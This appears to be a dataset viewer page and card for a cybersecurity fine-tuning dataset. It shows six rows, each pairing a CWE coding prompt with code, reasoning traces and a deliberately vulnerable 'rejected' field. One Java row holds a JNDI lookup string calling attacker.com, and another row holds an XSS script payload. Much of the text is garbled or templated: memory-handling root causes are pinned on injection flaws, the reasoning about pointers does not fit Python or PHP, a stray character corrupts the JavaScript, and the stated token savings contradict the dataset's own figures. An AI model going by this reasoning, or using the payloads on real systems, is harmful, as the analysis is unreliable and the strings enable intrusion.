cyber_c94d47f50569 | vulnerability_research_cve | CWE-20 | Write a python code that takes user input and executes it as a command in the terminal using the 'subprocess' module. The command should be 'ls' followed by the user input. | Target: python implementation for Write a python code that takes user input and executes it as a command.
Vulnerability Vector: In Python, improper input validation can lead to arbitrary code execution vulner (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```python
import subprocess
def execute_command(user_input):
# Validate input to prevent command injection
if any(char in user_input for char in [';', '&', '|']):
print("Invalid input. Please enter a valid filename.")
return
command = ['ls', user_input]
try:
output = subpro... | <think>
Target: python implementation for Write a python code that takes user input and executes it as a command.
Vulnerability Vector: In Python, improper input validation can lead to arbitrary code execution vulner (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | <think>
Let me consider how to write this python code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solu... | 267 | 0.56 |
cyber_cbececcbf57d | vulnerability_research_cve | CWE-134 | Write a java code that takes user input and prints it out. If the user input contains a JNDI lookup string, the program should print an error message instead of printing the user input. | Target: java implementation for Write a java code that takes user input and prints it out. If the user.
Vulnerability Vector: Java's String.format method can be exploited through format string attacks to re (CWE-134).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```java
import java.util.regex.Pattern;
public class Main {
private static final Pattern JNDI_PATTERN = Pattern.compile(".*\\$\\{jndi:.*\\}.*");
public static void main(String[] args) {
try {
String userInput = "${jndi:ldap://attacker.com/a}";
if (JNDI_PATTERN.matc... | <think>
Target: java implementation for Write a java code that takes user input and prints it out. If the user.
Vulnerability Vector: Java's String.format method can be exploited through format string attacks to re (CWE-134).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | <think>
Let me consider how to write this java code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward soluti... | 284 | 0.58 |
cyber_5414a35c7b8d | vulnerability_research_cve | CWE-79 | Write a javascript code that creates an HTML paragraph element with some text content. If the text content is a malicious script, it will execute when the page is loaded. Then, append this new element to the body of the HTML document. | Target: javascript implementation for Write a javascript code that creates an HTML paragraph element with so.
Vulnerability Vector: Cross-Site Scripting (XSS) vulnerabilities are common in JavaScript applications (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```javascript
function createElement(tag, text) {
let element = document.createElement(tag);
element.innerText = text; // Use innerText instead of textContent
return element;
}
function appendToBody(element) {
document.body.appendChild(element);妆;
}
let userInput = "<script>alert('Malicious script')</... | <think>
Target: javascript implementation for Write a javascript code that creates an HTML paragraph element with so.
Vulnerability Vector: Cross-Site Scripting (XSS) vulnerabilities are common in JavaScript applications (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutati... | <think>
Let me consider how to write this javascript code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward ... | 246 | 0.72 |
cyber_5bfd471cf9a9 | vulnerability_research_cve | CWE-89 | Write a c# code that connects to a SQL Server database and retrieves user information based on their ID. | Target: c# implementation for Write a c# code that connects to a SQL Server database and retrieves u.
Vulnerability Vector: Inadequate input validation and sanitization can lead to SQL Injection vulnerabi (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c#
using System;
using System.Data.SqlClient;
public class UserRepository
{
private string connectionString = "Server=myServerAddress;Database=myDataBase;User Id=myUsername;Password=myPassword;";
public void GetUserById(string id)
{
using (SqlConnection connection = new SqlConnection(connection... | <think>
Target: c# implementation for Write a c# code that connects to a SQL Server database and retrieves u.
Vulnerability Vector: Inadequate input validation and sanitization can lead to SQL Injection vulnerabi (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | <think>
Let me consider how to write this c# code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solution... | 334 | 0.81 |
cyber_d2c7efc97624 | vulnerability_research_cve | CWE-20 | Write a php code that gets a value from the URL parameter 'var', assigns it to an associative array with key 'a', extracts the array into variables, and then echoes the value of variable 'a'. The value of 'a' should be the value of 'var' from the URL. | Target: php implementation for Write a php code that gets a value from the URL parameter 'var', assig.
Vulnerability Vector: The PHP `extract()` function may lead to code injection if used without proper s (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
$var = filter_input(INPUT_GET, 'var', FILTER_SANITIZE_STRING);
$array = ['a' => $var];
extract($array, EXTR_PREFIX_SAME, "b");
echo $array['a'];
?>
``` | <think>
Target: php implementation for Write a php code that gets a value from the URL parameter 'var', assig.
Vulnerability Vector: The PHP `extract()` function may lead to code injection if used without proper s (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | <think>
Let me consider how to write this php code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solutio... | 181 | 0.62 |
cyber_d285c925adc4 | vulnerability_research_cve | CWE-20 | Write a ruby code that creates a class named 'User' with an attribute accessor named 'name'. The class should have an initialize method that takes one argument and assigns it to an instance variable 'name'. It should also have a method named 'greeting' that prints out a greeting message including the user's name. Then,... | Target: ruby implementation for Write a ruby code that creates a class named 'User' with an attribute .
Vulnerability Vector: The use of `eval` or `instance_eval` methods in Ruby can lead to code injection (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```ruby
class User
attr_accessor :name
def initialize(name)
@name = name
end
def greeting
puts "Hello, #{@name}!"
end
end
def create_user(name)
User.new(name)
end
input = gets.chomp
user = create_user(input)
user.greeting
``` | <think>
Target: ruby implementation for Write a ruby code that creates a class named 'User' with an attribute .
Vulnerability Vector: The use of `eval` or `instance_eval` methods in Ruby can lead to code injection (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | <think>
Let me consider how to write this ruby code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward soluti... | 209 | 0.83 |
Mark-Cyber-Curriculum
Overview
Mark-Cyber-Curriculum is an open, deduplicated cybersecurity dataset engineered for Supervised Fine-Tuning (SFT) and Direct Preference Optimization (DPO / ORPO). It contains 6,524 unique, verified instructional samples spanning vulnerability analysis, offensive workflows, binary reverse engineering, digital forensics, Linux kernel security, and artificial intelligence red-teaming.
Every sample is paired with a compressed chain-of-thought trace (compressed_think) strictly bounded between 40 and 180 tokens, directly establishing root-cause attribution, attack vectors, and defensive remediations. This structure reduces generation overhead by 70% to 90% compared to verbose, conversational reasoning traces while preserving full technical precision.
Dataset Structure & Schema
The dataset is partitioned into Apache Parquet (data/train-00000-of-00001.parquet) and JSON Lines (data/train.jsonl) formats for immediate compatibility with Hugging Face Dataset Viewer and streaming dataloaders.
Each record adheres to the following strict schema:
| Column Name | Type | Description |
|---|---|---|
id |
string |
Unique SHA-256 identifier derived from the instruction |
category |
string |
One of six technical cybersecurity domains |
cwe_or_mitre |
string |
Formal vulnerability (CWE) or ATT&CK/ATLAS identifier |
instruction |
string |
Real technical problem, code audit, or defensive scenario |
compressed_think |
string |
High-density reasoning trace (40-180 tokens) |
response |
string |
Complete technical answer, secure patch, or detection rule |
chosen |
string |
Formatted <think>\n...\n</think>\n\n... for SFT and DPO preference |
rejected |
string |
Vulnerable implementation or verbose rambling baseline for length penalty |
chosen_token_count |
int64 |
Exact BPE token count of the chosen completion |
token_saving_ratio |
float64 |
Compression multiplier (rejected_tokens / chosen_tokens) |
Domain Breakdown
The dataset provides balanced coverage across six core domains of modern information security:
| Domain Category | Sample Count |
|---|---|
vulnerability_research_cve |
1,600 |
red_team_pentest |
1,100 |
blue_team_siem_dfir |
1,100 |
kernel_ebpf_secops |
1,000 |
binary_exploitation_re |
900 |
ai_red_teaming_sentinel |
824 |
| Total Verified Unique Samples | 6,524 |
Domain Descriptions
vulnerability_research_cve: Code-level vulnerability analysis across C, C++, Rust, Python, Go, Java, and PHP. Covers memory corruption (CWE-787, CWE-416), injection flaws (CWE-89, CWE-78, CWE-79), deserialization vulnerabilities (CWE-502), race conditions (CWE-362), and path traversals (CWE-22).red_team_pentest: Offensive security procedures and adversarial workflows mapped to MITRE ATT&CK. Includes active reconnaissance, Active Directory credential escalation, Kerberoasting, lateral movement, and post-exploitation telemetry.binary_exploitation_re: Low-level assembly inspection, reverse engineering workflows (Ghidra, IDA Pro), ASLR/DEP bypass strategies, ROP chain mechanics, stack canary mitigations, and firmware inspection.blue_team_siem_dfir: Incident response, digital forensics, event log analysis, and detection engineering using YARA signatures, Sigma rules, and Suricata/Snort packet filters.kernel_ebpf_secops: Linux kernel internals, eBPF/XDP packet processing, seccomp BPF syscall filtering, AppArmor/SELinux profiles, container namespace hardening, and applied systems cryptography.ai_red_teaming_sentinel: Adversarial prompt injection, LLM jailbreak analysis, context exfiltration defense, and guardrail architectures mapped to MITRE ATLAS and OWASP Top 10 for LLMs.
Token-Efficient Distillation & DPO Usage
Modern reasoning models often generate lengthy, redundant chain-of-thought traces that introduce severe latency and inference costs. Mark-Cyber-Curriculum is structured to train models that reason densely and concisely:
- SFT Training: Train models on the
chosenfield to enforce concise<think>...</think>traces followed by immediate technical solutions. - DPO / ORPO Training: Use
chosenas the preferred response andrejectedas the dispreferred completion. Therejectedfield contains either the unpatched vulnerable code or an excessively verbose, uncalibrated reasoning trace, establishing both security alignment and length-penalized token efficiency. - Average chosen token count: 490 tokens.
- Mean token compression ratio: 1.33x.
Loading & Training Example
from datasets import load_dataset
# Load dataset directly from Hugging Face Hub
dataset = load_dataset("miceworks/Mark-Cyber-Curriculum", split="train")
# Inspect sample
sample = dataset[0]
print(f"Category: {sample['category']} ({sample['cwe_or_mitre']})")
print(f"Instruction: {sample['instruction'][:120]}...")
print(f"Chosen Tokens: {sample['chosen_token_count']} (Saving Ratio: {sample['token_saving_ratio']}x)")
- Downloads last month
- -